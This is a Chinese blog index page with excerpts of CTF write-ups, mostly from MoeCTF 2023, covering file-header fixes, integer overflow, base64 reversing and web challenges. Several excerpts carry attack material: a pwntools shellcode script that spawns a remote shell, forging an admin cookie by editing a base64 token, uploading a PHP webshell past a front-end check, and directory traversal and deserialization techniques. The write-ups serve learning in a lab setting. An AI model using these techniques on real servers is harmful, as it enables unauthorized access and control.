wubba lubba dub dub.
post @ 2023-10-05

题目来源:2023MOECTF

题目简述

又是一张打不开的图片,但这一次“牛头不对马嘴”,先导入winhex查看:

png文件头

检查发现是png的文件头:

获得flag

修改后将文件后缀改为png,打开获得flag:

是马男波杰克!!!

踩坑总结

1.一开始被jpg的后缀骗了,卡了好久

Read More
post @ 2023-10-03

题目来源:2023MOECTF

题目简述

nc连接后回显题目信息:

要求我们输入一个数,要令这个数没有负号但等于-114514

整形溢出

根据题目信息,可以知道变量n是整形变量,c语言中整形变量的取值范围是-2 147 483 648到 2 147 483 647,当我们输入的数超过最大值时,程序会自动回滚到最小值,比如,当我们输入2 147 483 648时,我们实际上向变量存储了-2 147 483 648这个值(就像跳绳的计数器一样),所以我们要输入-114514,只需要输入更大的数,让其回滚到-114514即可

获得flag

根据上面的思路,输入4 294 852 782即可:

踩坑总结

1.一开始不知道int有范围限制,还能回滚,导致题目做不出来

Read More
post @ 2023-10-03

题目来源:2023MOECTF

题目简述

题目为打不开的图片,下载附件后用winhex打开:

发现是一个图片文件,有exif信息但是无法打开

文件头

上网搜索相关信息,发现一种修改文件头的题型,检查发现图片的文件尾是jpeg图片的文件尾,但文件头经过修改,将文件头修改为jpeg的可以打开图片:


是一张西电的风景图

获取flag

查看文件属性,发现有flag的提示:

猜测是hex格式的flag,进行hex转字符后得到flag:

踩坑总结

1.第一次做做到解密flag的时候卡住了,不知道这是hex码,以后知道了
2.附上关于文件头隐写的知识:
常见文件文件头和隐写术总结 CTF中Misc必备
前言

对常见文件文件头和隐写术做个归纳总结

Read More
post @ 2023-10-02

题目来源:2023MOECTF

题目简述

题目直接说了是shellcode,而且可以脚本一把梭,那就试试看吧

检查安全性

先下载附件,放到kali里面用checksec检查一下:

checksec shellcode_level0 
[*] '/root/pwn/MoeCTF/shellcode0/shellcode_level0'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

回显显示,没有任何过滤(canary found,NX disabled),可以尝试使用shellcraft构造shellcode

编写POC

一把梭的脚本如下:

from pwn import *
# r = process('./shellcode_level0')
r = remote('127.0.0.1',43039)
context(log_level='debug',arch='amd64',os='linux')
payload = asm(shellcraft.sh())
print(payload)
r.sendline(payload)
r.interactive()
Read More
post @ 2023-10-02

题目来源:2023MOECTF

题目简述

先来看题,很经典的一个文件上传:

Debug

看起来没什么问题,那就先debug一下,先上传一个正常的文件,发现返回了地址,点击查看观察地址组成,发现这个地址被images.php处理过,不能直接利用:

尝试访问一个不存在的地址,发现返回错误:

发现有函数file_get_contents(),搜索发现,此函数可能会导致文件包含或者目录穿越,尝试发现有目录穿越漏洞,以下是关于目录穿越的知识:

什么是目录遍历?

目录遍历(目录穿越)是一个Web安全漏洞,攻击者可以利用该漏洞读取运行应用程序的服务器上的任意文件。 这可能包括应用程序代码和数据,后端系统的登录信息以及敏感的操作系统文件。

在某些情况下,攻击者可能能够在服务器上写入任意文件,(如,FFFTP是一款小型的FTP客户端软件。FFFTP客户端没有正确地验证FTP服务器所返回的LIST命令响应中包含有目录遍历序列(斜线)的文件名,如果用户受骗从恶意的FTP服务器下载的目录包含有带有恶意文件名的文件的话,就可能导致向用户系统的任意位置写入文件)从而允许他们修改应用程序数据或行为,并最终完全控制服务器。

漏洞原理

若web要显示一个商品的图像,有时候开发者会用通过HTML加载,如:

Read More
post @ 2023-10-01

题目来源:2023MOECTF

题目简述

用浏览器访问,发现是这样,结合题目给的附件,应该是要发送json数据来得到flag:

思路过程

查看附件,发现给出了/register,/login,/flag等地址,判断是要我们注册用户,登录后用get请求得到flag,使用postman发送json数据,方便快捷。先试了一下附件给出的账号,注册发现用户已存在,而且登录密码也不正确,所以需要自己注册一个用户:



注册和登录都返回ok,但是获取flag时返回了一个假flag,并提示我们不是admin,根据题目cookie,判断问题出在cookie上,查看cookie发现有一个token,内容如下:

token=eyJ1c2VybmFtZSI6ICJodXN0bGVyIiwgInBhc3N3b3JkIjogIjEyMzQ1NiIsICJyb2xlIjogInVzZXIifQ==

看着末尾的两个大等号,说明这有可能时base64,进行base64解码后的数据是这样的:

{"username": "hustler", "password": "123456", "role": "user"}

显然,我们将role的值改为admin,即:

{"username": "hustler", "password": "123456", "role": "admin"}
Read More
post @ 2023-09-29

题目来源:2023MOECTF

题目概述


一道经典的文件上传,看到这个思路马上就来了,就是上传一个php一句话木马,然后用蚁剑回连

初步尝试

我们先抓个包看看,这里有一个小插曲,就是如果我用127.0.0.1这个环回地址来访问,burp是抓不到包的,用局域网中的ip加端口号来访问就可以抓到包,配置好burp和浏览器的代理,先任意上传一个文件,得到如下提示:

抓包并修改文件后缀为png发现能够上传,说明这是一个前端验证,很好绕过
我们再次尝试,这次传一个符合要求的文件:


发现上传成功,并返回了一个地址,但是直接访问这个地址会返回404,根据抓包结果以及题目的hint,猜想正确地址应该只有upload以及后面的url,尝试发现可以访问。
那么,我们是不是只要通过抓包修改后缀绕过前端,就可以上传php木马了呢?

进一步尝试

首先我们先构造一个一句话木马,使用文本编辑器编写,完成后将后缀改为png,下面附上一句话木马的基本知识:

什么是一句话木马

一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令。

我们如何发送命令,发送的命令如何执行?

Read More
post @ 2023-09-28

题目来源:2023MOECTF

题目概述

题目给了一个pyc文件,我们尝试在线反编译后获得源文件:

#!/usr/bin/env python
# Version: Python 3.7

import base64
from string import *
str1 = 'yD9oB3Inv3YAB19YynIuJnUaAGB0um0='
string1 = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789+/'
string2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
flag = input('welcome to moectf\ninput your flag and I wiil check it:')
enc_flag = base64.b64encode(flag.encode()).decode()
enc_flag = enc_flag.translate(str.maketrans(string2, string1))
if enc_flag == str1:
    print('good job!!!!')
else:
    print('something wrong???')
    exit(0)

分析加密

审计程序逻辑发现,程序的具体逻辑是,我们输入一个字符串,然后程序对这个字符串进行base64编码,然后通过某个映射加密这组字符串,然后将这组字符串和str1对比,如果相同即为flag,所以str1这个变量即是加密后的flag,我们需要对str1进行逆向。
我们要反向映射str1这个字符串,查找发现,maketrans函数的作用是创建一个将string1用string2替换的映射表,而maketrans就是使用这个映射表处理字符串。那么转念一想,我们反向映射,只要将函数中string1和string2的位置交换,创建一个将string2用string1来替换的映射表,再用这个新的映射表来处理str1,不就反映射成功了吗?

编写POC

说干就干,修改了以下题目的py脚本,反向映射str1,脚本如下:

import base64
from string import *
str1 = 'yD9oB3Inv3YAB19YynIuJnUaAGB0um0='
string1 = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789+/'
string2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
f=str1.translate(str.maketrans(string1,string2))
print(f)

运行得到反映射结果:

再使用base64解码,得到flag:

Read More
post @ 2023-09-07

题目来源:其他CTF

题目简述


大致就是一个“买”unicorn的商店,尝试购买,发现价格处只能填写一个字符,并且最后一个商品要1337四位数的价格,显然,题目要求我们使用一个字符来购买这个四位数价格的商品

思路简析

我们先什么都不输入,尝试寻找报错:

发现需要输入一个只占一个字符的unicode字符,那么有没有只占一个字符,但又能表示1337以上的数字的unicode字符呢?找到这样一个网站:https://www.compart.com/en/unicode 查到这个数值表示10000的字符:

由于提交要使用url编码,所以把0xE1 0x8D 0xBC换成%E1%8D%BC即可

拿flag



得到flag

反思总结

1.有时候会遇到一些很刁钻的知识点,不懂真的做不出来

Read More
post @ 2023-09-07

来源:其他CTF

题目简述


审计代码,题目大意是让我们将username变为admin就会给flag

思路过程

我们需要传入参数,但是遇到这种改怎么传参呢?我们注意到源代码有if($_GET['user'])这样一段,这样的代码就是php获取网址后的参数的,比方这里就是获取user的值,那么我们传参时就可以写?user=需要传入的数据这种结构是可以直接写在网址后面的。
知道了如何传参,那我们要传入什么数据呢?我们注意到,题目里有一个unserialize()函数,这就是反序列化函数,那什么是序列和反序列呢?以下摘录网络的解释:
php程序为了保存和转储对象,提供了序列化的方法。php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。

php序列化的函数为serialize,可以将对象中的成员变量转换成字符串。

反序列化的函数为unserilize,可以将serialize生成的字符串重新还原为对象中的成员变量。

将用户可控的数据进行了反序列化,就是PHP反序列化漏洞。

序列化

序列化的目的是方便数据的传输和存储。

Read More
⬆︎TOP